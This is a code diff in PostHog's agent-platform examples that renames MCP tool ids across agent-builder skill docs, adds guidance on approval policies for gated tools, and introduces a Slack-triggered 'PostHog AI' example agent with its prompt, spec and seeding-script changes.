- you only have a description, or `@posthog/agent-applications-retrieve`
+1. **Locate the application.** Call `posthog__agent-applications-list` if
+ you only have a description, or `posthog__agent-applications-retrieve`
directly if you have a slug. Capture `id`, `slug`,
`live_revision_id`, `description`.
2. **Open the live revision.** Call
- `@posthog/agent-applications-revisions-retrieve` for
+ `posthog__agent-applications-revisions-retrieve` for
`live_revision_id`. Capture `spec` (the full JSON) and
`bundle_sha256`.
@@ -24,13 +24,13 @@ mental model from earlier in the session.
now so the user sees the same screen you do.
4. **Read the system prompt.** Call
- `@posthog/agent-applications-revisions-system-prompt` — returns the
+ `posthog__agent-applications-revisions-system-prompt` — returns the
fully-rendered prompt (framework preamble + `agent.md` + skills
index). This is what the model sees on every turn, so it's the
most informative single artifact.
5. **List recent sessions.** Call
- `@posthog/agent-applications-sessions-list` with the last 50. Look at:
+ `posthog__agent-applications-sessions-list` with the last 50. Look at:
- `state` distribution (how many `completed` vs `failed` vs
`closed`)
- `started_at` recency — when did this agent last run?
@@ -38,7 +38,7 @@ mental model from earlier in the session.
- `usage_total` for cost / token signal
6. **If anything stood out in step 5,** retrieve one or two of the
- outliers (`@posthog/agent-applications-sessions-retrieve` + `@posthog/agent-applications-session-logs`) for a concrete
+ outliers (`posthog__agent-applications-sessions-retrieve` + `posthog__agent-applications-session-logs`) for a concrete
example. Do not list every session — list the patterns.
## The summary shape
@@ -102,17 +102,17 @@ Drill in narrowly. Don't repeat the whole summary.
| User asks | Right next call |
| ------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| "show me its prompt" | `@posthog/agent-applications-revisions-system-prompt` for live revision |
+| "show me its prompt" | `posthog__agent-applications-revisions-system-prompt` for live revision |
| "what skills does it have?" | Already in `spec.skills[]` — render the table |
-| "read me skill X" | `@posthog/agent-applications-revisions-bundle-retrieve` — the skill body is in the returned `skills[]` |
-| "what was the latest session?" | `@posthog/agent-applications-sessions-list` with `limit: 1`, then `@posthog/agent-applications-sessions-retrieve` + `@posthog/agent-applications-session-logs` |
+| "read me skill X" | `posthog__agent-applications-revisions-bundle-retrieve` — the skill body is in the returned `skills[]` |
+| "what was the latest session?" | `posthog__agent-applications-sessions-list` with `limit: 1`, then `posthog__agent-applications-sessions-retrieve` + `posthog__agent-applications-session-logs` |
| "how much is it costing?" | Load `skills/cost-and-quota-analysis` and run the standard query |
-| "show me the bundle" | `@posthog/agent-applications-revisions-manifest-retrieve` — file tree only |
-| "what's its history?" | `@posthog/agent-applications-revisions-list` — chronological revision states |
+| "show me the bundle" | `posthog__agent-applications-revisions-manifest-retrieve` — file tree only |
+| "what's its history?" | `posthog__agent-applications-revisions-list` — chronological revision states |
## The 'this agent doesn't exist' case
-If `@posthog/agent-applications-list` doesn't have a slug the user named,
+If `posthog__agent-applications-list` doesn't have a slug the user named,
**don't suggest it exists somewhere else and proceed**. Tell them:
> No agent with slug `<x>` in this project. The closest match by name
@@ -124,7 +124,7 @@ Offer to switch context. Don't invent.
## When inspecting multiple agents
Common: "show me everything in this team". Call
-`@posthog/agent-applications-list` once and produce a table — slug, name,
+`posthog__agent-applications-list` once and produce a table — slug, name,
last-session timestamp, live-revision age, archived flag. Don't
load each one individually; that's a separate request the user can
make after they see the list.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/safety-and-boundaries/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/safety-and-boundaries/SKILL.md
index f83d04be4629..80a89bcb0c02 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/safety-and-boundaries/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/safety-and-boundaries/SKILL.md
@@ -56,7 +56,7 @@ promote step:
live, what will be archived)
2. Ask for confirmation — literal "promote" or "ship" or "go"
3. Wait for the user's reply
-4. Then call `agent-applications-revisions-promote-create`
+4. Then call `posthog__agent-applications-revisions-promote-create`
Same for `archive` (irreversible from the user's perspective:
they can re-promote but the agent is invisible from default
@@ -77,16 +77,16 @@ path, or a revision/session id must come from:
- An MCP / native tool call result earlier in this session
- A message from the user
-- The catalog endpoints (`@posthog/agent-applications-native-tools-list` for tools)
+- The catalog endpoints (`posthog__agent-native-tools-list` for tools)
If you don't have it, **fetch it before referencing it**. The
single most common waste of user time is "the bundle has a file
called X" when X doesn't exist.
Concrete check: before naming a tool in your output, ensure
-you've called `@posthog/agent-applications-native-tools-list` at least once in the
+you've called `posthog__agent-native-tools-list` at least once in the
session (it's small, cache it). Before naming a file path,
-ensure you've called `agent-applications-revisions-manifest-retrieve`
+ensure you've called `posthog__agent-applications-revisions-manifest-retrieve`
or `-bundle-retrieve`. Before naming a session id, ensure you've
called `sessions-list` or `sessions-retrieve`.
@@ -145,6 +145,38 @@ Drafts are recoverable in the sense that the revision row
persists — but the bundle content is lost unless the user has it
elsewhere. Treat it as final.
+## Choosing an approval type for tools you gate
+
+When you build an agent, gate any tool whose call you'd want a human to
+confirm with `requires_approval: true` (on a native/custom `tools[]` entry
+or an `mcps[].tools[]` entry). A gated call **never auto-dispatches** — it
+always queues for an explicit human decision, because the asker being the
+asker is not consent to the specific call the model emitted (a prompt
+injection could have steered it). You then pick **who** decides via
+`approval_policy.type`:
+
+- **`principal`** (the default) — the person who drove the session decides,
+ in-place: a Slack **Approve / Reject** button in the thread, or the
+ approval card in PostHog Code. This is a _generic identity match_ (the
+ decider must be the session's own principal) — it works for a Slack or
+ embedded-app user with no PostHog account. Use it for the common case:
+ an in-the-loop confirmation of a reversible-ish, driver-authoritative
+ action ("send this reply", "create this issue", a `promote` the builder's
+ own driver is walking through).
+- **`agent`** — the agent's **owners** (team admins) sign off in the PostHog
+ console, not in the conversation. Use it for owner-domain or high-blast-
+ radius actions where you don't want the session principal _alone_ to
+ authorise: spending money, touching the owner's production data, or any
+ agent that runs in a **shared / public context** where the asker may be a
+ low-trust participant. This is the only PostHog-authoritative gate.
+
+Rule of thumb: if the person in the conversation is the right authority,
+`principal`; if it needs someone who _owns the agent_ regardless of who's
+driving, `agent`. When unsure, `principal` — it still forces a deterministic
+human decision, just a lighter-weight one. (`ttl_ms` bounds how long the
+request waits before it auto-expires; `allow_edit` lets the approver tweak
+the tool args before it runs.)
+
## Things that aren't on the list but should feel risky
A non-exhaustive list of "feels off — double-check".
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/secrets-and-integrations/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/secrets-and-integrations/SKILL.md
index 78baa1c650c5..e08713453b50 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/secrets-and-integrations/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/secrets-and-integrations/SKILL.md
@@ -130,7 +130,7 @@ wake message with the real outcome.
Loop:
-1. **Check current state** with `agent-applications-env-keys-get`
+1. **Check current state** with `posthog__agent-applications-env-keys-get`
`{ id: "<slug>", key: "ANTHROPIC_KEY" }` — returns `{ key, is_set }`.
If already set and the failure mode suggests the value is wrong,
pass `mode: "rotate"`; otherwise omit / `mode: "set"`.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/setting-up-slack-app/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/setting-up-slack-app/SKILL.md
index 4a34711f1fa4..32de5c4be2cc 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/setting-up-slack-app/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/setting-up-slack-app/SKILL.md
@@ -34,8 +34,8 @@ time. **Always promote first, then surface the URL.**
Don't make the user hand-pick OAuth scopes and bot event subscriptions —
they get it wrong (classically: `auto_resume_threads` on but
`message.channels` never subscribed, so thread replies never arrive).
-Instead, call **`agent-applications-revisions-slack-manifest`** (native
-tool / MCP tool `agent-applications-revisions-slack-manifest`) for the
+Instead, call **`posthog__agent-applications-revisions-slack-manifest`**
+(MCP tool) for the
revision. It returns `{ manifest, notes, events_url, interactivity_url }`
where `manifest` is a ready-to-paste Slack app manifest whose scopes +
bot events are **derived from this agent's slack trigger config and
@@ -73,10 +73,10 @@ Before walking the user through anything, gather:
1. **Agent slug.** From `get_context` or whichever agent the user is
configuring. Required for the events URL.
2. **`slack_events_url` / `slack_interactivity_url` on the agent.**
- `agent-applications-retrieve` returns both. They're `null` when the
+ `posthog__agent-applications-retrieve` returns both. They're `null` when the
PostHog deployment hasn't set `AGENT_INGRESS_PUBLIC_URL`. Hold onto
the values — you'll surface them at step 3 below, AFTER promote.
-3. **Current env state.** `agent-applications-env-keys-get` for
+3. **Current env state.** `posthog__agent-applications-env-keys-get` for
`SLACK_SIGNING_SECRET` and `SLACK_BOT_TOKEN` — tells you whether
you're setting fresh or rotating.
@@ -251,7 +251,7 @@ Tell the user: "Mention the bot in the channel you invited it to
(`@<bot> hi`). I'll watch `sessions-list` for the new session and
we can debug from there if nothing arrives."
-Then poll `agent-applications-sessions-list` filtered to the slack
+Then poll `posthog__agent-applications-sessions-list` filtered to the slack
trigger and the last few minutes. If nothing shows up within ~10s,
check the agent-ingress logs for a 401 (signing secret mismatch),
403 (`workspace_not_trusted`), or 404 (`no_slack_trigger` — spec
@@ -349,7 +349,7 @@ flip it on only when the user explicitly wants a shared thread.
`allow_direct_messages` is also independent — it only adds the DM
surface, it doesn't change channel behaviour. When you flip it on,
-**regenerate the manifest** (`agent-applications-revisions-slack-manifest`)
+**regenerate the manifest** (`posthog__agent-applications-revisions-slack-manifest`)
and tell the user to reinstall the app: it adds `im:history` /
`mpim:history` (new scopes only minted at install) and enables the App
Home Messages tab, without which Slack won't let anyone open a DM.
@@ -407,9 +407,11 @@ present.
don't. Each agent's Slack creds live in its own `encrypted_env`.
- **Don't ask for the token values in chat.** Every bot token /
signing secret comes in through the `set_secret` punch-out — see
- `skills/secrets-and-integrations` for the hard rule.
+ `skills/secrets-and-integrations` for the hard rule. A Slack agent
+ that acts on a service as the user needs an identity provider — see
+ `skills/authenticating-as-the-user`.
- **Don't invent the events URL.** It comes from
- `agent-applications-retrieve.slack_events_url`. If that field is
+ `posthog__agent-applications-retrieve.slack_events_url`. If that field is
null, the deployment isn't externally reachable — say so and
stop.
- **Don't promote before both secrets are set** unless the user
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/using-the-console-ui/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/using-the-console-ui/SKILL.md
index 32ff7015dbfe..94dc6f860fbe 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/using-the-console-ui/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/using-the-console-ui/SKILL.md
@@ -58,7 +58,7 @@ The five focus tools and when to use each:
the target from whatever page the user happens to be on — the user
navigates while you're thinking, and silently following the URL is
a fast way to misroute. If you don't know the slug, call
-`get_context` or `agent-applications-list` first.
+`get_context` or `posthog__agent-applications-list` first.
For a multi-file flow (e.g. inspecting `agent.md` then a skill
then the live session), call focus **before each transition**.
@@ -75,7 +75,7 @@ Every `focus_*` returns either:
has "Follow the agent" turned off; the panel didn't change
- `{ focused: false, reason: "missing_slug ..." }` — you didn't
pass `slug`. Look it up via `get_context` or
- `agent-applications-list` and retry. Don't keep firing without
+ `posthog__agent-applications-list` and retry. Don't keep firing without
it; the dispatcher will keep refusing.
When `focused: false`, **adapt**:
@@ -133,8 +133,8 @@ Example:
>
> [calls `focus_revision` with `{ revisionId: 'r_live123' }`]
>
-> [calls `@posthog/agent-applications-revisions-retrieve`]
-> [calls `@posthog/agent-applications-revisions-system-prompt`]
+> [calls `posthog__agent-applications-revisions-retrieve`]
+> [calls `posthog__agent-applications-revisions-system-prompt`]
>
> Spec is 4 tools, 3 skills, cron trigger every Monday 09:00.
> Want me to walk through the skills, or jump to recent sessions?
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/working-outside-the-console/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/working-outside-the-console/SKILL.md
index a736cc514f29..f6e3e232acc7 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/working-outside-the-console/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/working-outside-the-console/SKILL.md
@@ -18,7 +18,7 @@ tools, every navigation has to happen in text.
The biggest shift: **the user has zero visibility into the
artifacts you call MCP tools against unless you put them in
-text.** A `agent-applications-revisions-bundle-retrieve` that
+text.** A `posthog__agent-applications-revisions-bundle-retrieve` that
returns 5 files in PostHog Code can be opened in the panel; over
MCP, you have to summarize.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/spec.json b/products/agent_platform/services/agent-tests/src/examples/agent-builder/spec.json
index ebc31c5cf6df..59183e2c4ed0 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/spec.json
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/spec.json
@@ -26,77 +26,20 @@
"auth": {
"modes": [{ "type": "posthog", "audience": "organization" }, { "type": "posthog_internal" }]
}
+ },
+ {
+ "type": "slack",
+ "config": {
+ "mention_only": true,
+ "auto_resume_threads": true,
+ "allow_workspace_participants": false,
+ "allow_direct_messages": true,
+ "trusted_workspaces": "*",
+ "ack_reaction": "eyes"
+ }
}
],
"tools": [
- {
- "kind": "native",
- "id": "@posthog/agent-applications-list"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-native-tools-list"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-spec-schema"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-retrieve"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-list"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-retrieve"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-system-prompt"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-manifest-retrieve"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-slack-manifest"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-sessions-list"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-sessions-retrieve"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-session-logs"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-bundle-retrieve"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-env-keys-list"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-env-keys-get"
- },
- {
- "kind": "native",
- "id": "@posthog/query"
- },
- {
- "kind": "native",
- "id": "@posthog/list-projects"
- },
{
"kind": "native",
"id": "@posthog/memory-search"
@@ -109,72 +52,6 @@
"kind": "native",
"id": "@posthog/memory-write"
},
- {
- "kind": "native",
- "id": "@posthog/agent-applications-create"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-partial-update"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-create"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-new-draft-create"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-partial-update"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-agent-md-update"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-skills-update"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-skills-destroy"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-tools-update"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-tools-destroy"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-validate-create"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-freeze-create"
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-promote-create",
- "requires_approval": true,
- "approval_policy": {
- "approvers": ["session_principal"],
- "ttl_ms": 900000
- }
- },
- {
- "kind": "native",
- "id": "@posthog/agent-applications-revisions-archive-create",
- "requires_approval": true,
- "approval_policy": {
- "approvers": ["session_principal"],
- "ttl_ms": 900000
- }
- },
{
"kind": "client",
"id": "focus_tab",
@@ -326,7 +203,64 @@
}
}
],
- "mcps": [],
+ "mcps": [
+ {
+ "id": "posthog",
+ "url": "http://localhost:8787/mcp",
+ "auth": { "provider": "posthog" },
+ "tools": [
+ "agent-applications-list",
+ "agent-applications-retrieve",
+ "agent-applications-create",
+ "agent-applications-partial-update",
+ "agent-applications-revisions-list",
+ "agent-applications-revisions-retrieve",
+ "agent-applications-revisions-create",
+ "agent-applications-revisions-new-draft-create",
+ "agent-applications-revisions-clone-from-create",
+ "agent-applications-revisions-partial-update",
+ "agent-applications-revisions-agent-md-update",
+ "agent-applications-revisions-skills-update",
+ "agent-applications-revisions-skills-destroy",
+ "agent-applications-revisions-tools-update",
+ "agent-applications-revisions-tools-destroy",
+ "agent-applications-revisions-spec-update",
+ "agent-applications-revisions-bundle-retrieve",
+ "agent-applications-revisions-validate-create",
+ "agent-applications-revisions-freeze-create",
+ "agent-applications-revisions-system-prompt",
+ "agent-applications-revisions-manifest-retrieve",
+ "agent-applications-revisions-slack-manifest",
+ "agent-applications-sessions-list",
+ "agent-applications-sessions-retrieve",
+ "agent-applications-session-logs",
+ "agent-applications-env-keys-list",
+ "agent-applications-env-keys-get",
+ "agent-native-tools-list",
+ "agent-resolve-resource",
+ "execute-sql",
+ "insight-query",
+ "get-llm-total-costs-for-project",
+ "projects-get",
+ "switch-project",
+ {
+ "name": "agent-applications-revisions-promote-create",
+ "requires_approval": true,
+ "approval_policy": { "type": "principal", "ttl_ms": 900000 }
+ },
+ {
+ "name": "agent-applications-revisions-archive-create",
+ "requires_approval": true,
+ "approval_policy": { "type": "principal", "ttl_ms": 900000 }
+ },
+ {
+ "name": "agent-applications-destroy",
+ "requires_approval": true,
+ "approval_policy": { "type": "principal", "ttl_ms": 900000 }
+ }
+ ]
+ }
+ ],
"skills": [
{
"id": "platform-mental-model",
@@ -353,6 +287,11 @@
"path": "skills/authoring-new-agents/SKILL.md",
"description": "Creating a new agent from scratch \u2014 discover building blocks, design spec, write agent.md and skills, configure tools. Load only when the user is creating a NEW agent; for editing, use editing-agents-safely instead."
},
+ {
+ "id": "authenticating-as-the-user",
+ "path": "skills/authenticating-as-the-user/SKILL.md",
+ "description": "How an agent acts on a service AS the user \u2014 the identity system. The two axes (principal: who's asking vs credential provider: how the agent gets their token), spec.identity_providers (kind posthog vs bring-your-own oauth2, scopes, binding), how tools/MCPs declare they need a provider (native requires.provider, mcp auth.provider, custom requires_identity), the resolve outcomes (ok / link_required / unavailable), connect + relink links via @posthog/identity-connect, and how to choose OAuth scopes. Load whenever you're wiring an agent that calls PostHog or any third-party API as the user, adding an MCP with auth.provider, deciding scopes, or the user asks about connecting / linking / OAuth / 'act as me'."
+ },
{
"id": "choosing-the-model",
"path": "skills/choosing-the-model/SKILL.md",
@@ -410,6 +349,21 @@
}
],
"integrations": [],
+ "identity_providers": [
+ {
+ "kind": "posthog",
+ "scopes": [
+ "openid",
+ "profile",
+ "email",
+ "user:read",
+ "agents:read",
+ "agents:write",
+ "query:read",
+ "insight:read"
+ ]
+ }
+ ],
"secrets": [],
"limits": {
"max_turns": 80,
diff --git a/products/agent_platform/services/agent-tests/src/examples/posthog-ai/README.md b/products/agent_platform/services/agent-tests/src/examples/posthog-ai/README.md
new file mode 100644
index 000000000000..87cbff7817cb
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/examples/posthog-ai/README.md
@@ -0,0 +1,59 @@
+# PostHog AI — ask PostHog anything, from Slack
+
+A Slack-triggered agent with the **full PostHog MCP** tool surface. It answers
+questions about a user's PostHog data — insights, HogQL, dashboards, flags,
+error tracking — by calling the MCP **as the asking user** (their linked PostHog
+identity), never as PostHog.
+
+This is the MCP counterpart to the `agent-builder` example: instead of the
+native `@posthog/*` tools, everything flows through one MCP entry.
+
+## How it's wired
+
+- **Trigger:** `slack` (mention + DM). `allow_workspace_participants: false` —
+ required, so the asker is the session owner and their identity resolves; a
+ shared thread would fail closed (you can't act as the user for someone else).
+- **MCP:** one entry pointing at the PostHog MCP with `auth.provider: "posthog"`.
+ The runner resolves the **asking user's** PostHog bearer and stamps it on every
+ MCP request. Unlinked → the tool returns an `auth_required` link the agent
+ relays in the thread.
+- **Identity provider:** `{ kind: "posthog", scopes: [<read scopes>] }`. On
+ promote the backend provisions a normal (user-consented) OAuth app and the
+ link requests these scopes. They must be **explicit OAuth scope objects** —
+ the `*` wildcard is a PAT/first-party concept and OAuth `/authorize` rejects
+ it (`invalid_scope`). The set here is broad read access (query, insights,
+ dashboards, flags, experiments, error tracking, …); add more `:read` scopes
+ if the user asks about a surface that 403s. The OAuth app's scope ceiling is
+ provisioned from this list, so changing it requires a re-promote.
+- **No native tools, no `spec.secrets`.** Replies post to the thread via the
+ platform Slack relay (no `@posthog/slack-*` needed). The Slack
+ `SLACK_SIGNING_SECRET` + `SLACK_BOT_TOKEN` are trigger-required secrets — set
+ them in the agent's `encrypted_env`, not the spec.
+
+## The MCP URL tracks the seed target
+
+`spec.json` ships the localhost URL (`http://localhost:8787/mcp`). `seed.py`
+rewrites any `auth.provider: "posthog"` MCP entry to match the host it's seeding
+into: `localhost` → local, `*.us.posthog.com` → `mcp.us.posthog.com`,
+`*.eu.posthog.com` → `mcp.eu.posthog.com`. An explicit `MCP_URL` /
+`MCP_URL_posthog` env still wins.
+
+## Set it up + test in Slack
+
+1. Create a Slack app from the generated manifest:
+ `agent-applications-revisions-slack-manifest` (its scopes + event
+ subscriptions are derived from this spec). Paste the `events_url` /
+ `interactivity_url` it returns into the Slack app dashboard.
+2. Set `SLACK_SIGNING_SECRET` + `SLACK_BOT_TOKEN` in the agent's env editor
+ (both are required before promote).
+3. Lock `trusted_workspaces` from `"*"` to your workspace id.
+4. Seed + promote: `PAT=phx_… python services/agent-tests/src/examples/seed.py posthog-ai`
+5. In Slack, @-mention or DM the bot. First call → it relays a "connect your
+ PostHog account" link; after you link, ask it real questions ("how many
+ signups this week?").
+
+## Regression test
+
+[`services/agent-tests/src/cases/example-posthog-ai.test.ts`](../../cases/example-posthog-ai.test.ts)
+asserts the wiring (slack trigger, the posthog-provider MCP, the posthog
+identity provider, a non-trivial `agent.md`) — a faux net, not a quality bar.
diff --git a/products/agent_platform/services/agent-tests/src/examples/posthog-ai/agent.md b/products/agent_platform/services/agent-tests/src/examples/posthog-ai/agent.md
new file mode 100644
index 000000000000..a90f8e9873ac
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/examples/posthog-ai/agent.md
@@ -0,0 +1,41 @@
+# PostHog AI
+
+You are **PostHog AI**, a Slack bot that answers questions about a user's
+PostHog data. You have the full PostHog MCP tool surface (insights, HogQL
+queries, dashboards, feature flags, error tracking, experiments, …) and you
+call it **as the user who is talking to you** — never as PostHog, never as
+anyone else.
+
+## How you act
+
+- Every PostHog MCP call runs with the asking user's linked PostHog identity.
+ If they haven't linked yet, the tool hands you back an `auth_required` link —
+ relay that link in plain language ("Connect your PostHog account: <url>") and
+ stop. Once they link, retry.
+- A 403/permission error is the **user's** access speaking, not a bug. Surface
+ it plainly; never try to route around it.
+- Resolve which project to act in from the user's question or the MCP's project
+ tools. If it's ambiguous and the MCP exposes a project list, ask which one.
+
+## Answering
+
+- Reach for the most specific MCP tool for the question (a saved insight, a
+ HogQL query, the error list, …) rather than guessing.
+- Lead with the answer, then the supporting number/query. Keep it to a few
+ lines — this is Slack, not a report.
+- Show the HogQL or the insight you used when it helps the user trust or reuse
+ the result.
+- If you can't answer with the tools you have, say so and say what you'd need —
+ don't invent numbers.
+
+## Replying in Slack
+
+The platform posts your reply into the thread automatically — just answer in
+natural language. Don't repeat yourself through a tool. Use Slack-flavored
+formatting (`*bold*`, `_italic_`, inline code) and @-mention sparingly.
+
+## Hard rules
+
+1. **Act only as the asking user.** You hold no fallback credential.
+2. **Never paste secrets or tokens** into the thread.
+3. **Don't guess data.** Every number comes from a tool call you actually made.
diff --git a/products/agent_platform/services/agent-tests/src/examples/posthog-ai/spec.json b/products/agent_platform/services/agent-tests/src/examples/posthog-ai/spec.json
new file mode 100644
index 000000000000..3ba2d2497200
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/examples/posthog-ai/spec.json
@@ -0,0 +1,59 @@
+{
+ "model": "openai/gpt-5.5",
+ "triggers": [
+ {
+ "type": "slack",
+ "config": {
+ "mention_only": true,
+ "auto_resume_threads": true,
+ "allow_workspace_participants": false,
+ "allow_direct_messages": true,
+ "trusted_workspaces": "*",
+ "ack_reaction": "eyes"
+ }
+ }
+ ],
+ "tools": [],
+ "mcps": [
+ {
+ "id": "posthog",
+ "url": "http://localhost:8787/mcp",
+ "auth": { "provider": "posthog" }
+ }
+ ],
+ "skills": [],
+ "integrations": [],
+ "identity_providers": [
+ {
+ "kind": "posthog",
+ "scopes": [
+ "openid",
+ "profile",
+ "email",
+ "user:read",
+ "query:read",
+ "insight:read",
+ "dashboard:read",
+ "feature_flag:read",
+ "experiment:read",
+ "error_tracking:read",
+ "event_definition:read",
+ "property_definition:read",
+ "cohort:read",
+ "person:read",
+ "session_recording:read",
+ "survey:read",
+ "action:read",
+ "annotation:read"
+ ]
+ }
+ ],
+ "secrets": [],
+ "limits": {
+ "max_turns": 30,
+ "max_tool_calls": 100,
+ "max_wall_seconds": 600
+ },
+ "reasoning": "medium",
+ "entrypoint": "agent.md"
+}
diff --git a/products/agent_platform/services/agent-tests/src/examples/seed.py b/products/agent_platform/services/agent-tests/src/examples/seed.py
index 7f658802337f..2e058218c1db 100755
--- a/products/agent_platform/services/agent-tests/src/examples/seed.py
+++ b/products/agent_platform/services/agent-tests/src/examples/seed.py
@@ -46,6 +46,8 @@ Env vars:
AUTH_MODE Override every bundle's auth modes (e.g. `public`, `pat`)
MCP_URL Rewrite every mcps[].url across all bundles (local-dev)
MCP_URL_<id> Rewrite only the mcps entry whose id matches; wins over MCP_URL
+ (PostHog MCPs — auth.provider=posthog — otherwise default to
+ the MCP host for POSTHOG_API's region: local / us / eu.)
Exit codes:
0 every selected bundle deployed / re-promoted / no-op
@@ -63,6 +65,7 @@ import subprocess
import urllib.error
import urllib.request
from pathlib import Path
+from urllib.parse import urlparse
EXAMPLES_ROOT = Path(__file__).resolve().parent
API = os.environ.get("POSTHOG_API", "http://localhost:8010").rstrip("/")
@@ -231,19 +234,40 @@ def load_v0_spec(spec_file: Path) -> dict:
# Intrinsic-auth triggers (slack / cron) carry no auth modes.
t.pop("auth", None)
- # MCP URL overrides — let a local seed point at localhost:8787/mcp without
- # editing the canonical bundle. `MCP_URL` rewrites every entry; per-id
- # `MCP_URL_<id>` rewrites only that entry and wins over the bare form.
+ # MCP URL resolution. A PostHog MCP (one authed by the `posthog` identity
+ # provider) tracks the seed target's region by default — localhost when
+ # seeding locally, the us/eu cloud MCP when seeding to those hosts — so the
+ # canonical bundle ships the localhost URL and still works in every env.
+ # Explicit overrides win: `MCP_URL` rewrites every entry, per-id
+ # `MCP_URL_<id>` rewrites only that entry and beats the bare form.
bare_override = os.environ.get("MCP_URL")
+ region_mcp_url = posthog_mcp_url_for_target(API)
for m in spec.get("mcps", []):
per_id = os.environ.get(f"MCP_URL_{m.get('id', '')}")
- override = per_id or bare_override
- if override:
- m["url"] = override
+ if per_id:
+ m["url"] = per_id
+ elif bare_override:
+ m["url"] = bare_override
+ elif isinstance(m.get("auth"), dict) and m["auth"].get("provider") == "posthog":
+ m["url"] = region_mcp_url
return spec
+def posthog_mcp_url_for_target(api_base: str) -> str:
+ """The PostHog MCP URL matching the seed target: local → the local MCP, the
+ us/eu cloud hosts → their region MCP, anything else → the region-agnostic
+ host. Default for `posthog`-authed MCP entries; explicit MCP_URL wins."""
+ host = (urlparse(api_base).hostname or "").lower()
+ if host in ("localhost", "127.0.0.1") or host.endswith(".localhost"):
+ return "http://localhost:8787/mcp"
+ if "eu.posthog.com" in host:
+ return "https://mcp.eu.posthog.com/mcp"
+ if "us.posthog.com" in host or "app.posthog.com" in host:
+ return "https://mcp.us.posthog.com/mcp"
+ return "https://mcp.posthog.com/mcp"
+
+
def load_bundle_files(bundle_root: Path) -> dict[str, str]:
files: dict[str, str] = {}
files["agent.md"] = (bundle_root / "agent.md").read_text()
@@ -305,15 +329,18 @@ def required_secret_keys(spec: dict) -> list[str]:
return keys
-def ensure_dummy_secrets(slug: str, app_id: str, spec: dict) -> None:
- """Set placeholder values for any required secret not already set. Uses the
- per-key env endpoint so real values (if present) are never overwritten."""
+def ensure_dummy_secrets(slug: str, app_id: str, rev_id: str, spec: dict) -> None:
+ """Set placeholder values for any required secret not already set. `encrypted_env`
+ lives on the revision, so this targets the per-revision env endpoint and must
+ run after the draft exists and before promote (the promote gate reads it).
+ Never overwrites a real value (the GET `is_set` check)."""
+ base = f"/agent_applications/{app_id}/revisions/{rev_id}/env_keys"
set_keys: list[str] = []
for key in required_secret_keys(spec):
- status, payload = _req("GET", f"/agent_applications/{app_id}/env_keys/{key}/")
+ status, payload = _req("GET", f"{base}/{key}/")
if status == 200 and payload.get("is_set"):
continue
- status, payload = _req("PUT", f"/agent_applications/{app_id}/env_keys/{key}/", {"value": f"placeholder-{key}"})
+ status, payload = _req("PUT", f"{base}/{key}/", {"value": f"placeholder-{key}"})
if status != 200:
raise SeedError(f"failed to set placeholder secret {key}: {status} {payload}")
set_keys.append(key)
@@ -453,8 +480,6 @@ def seed_bundle(bundle_root: Path) -> None:
log(slug, f"target bundle: {len(files)} files")
app_id = find_or_create_application(slug)
- if SEED_DUMMY_SECRETS and not DRY_RUN:
- ensure_dummy_secrets(slug, app_id, spec)
if DRY_RUN:
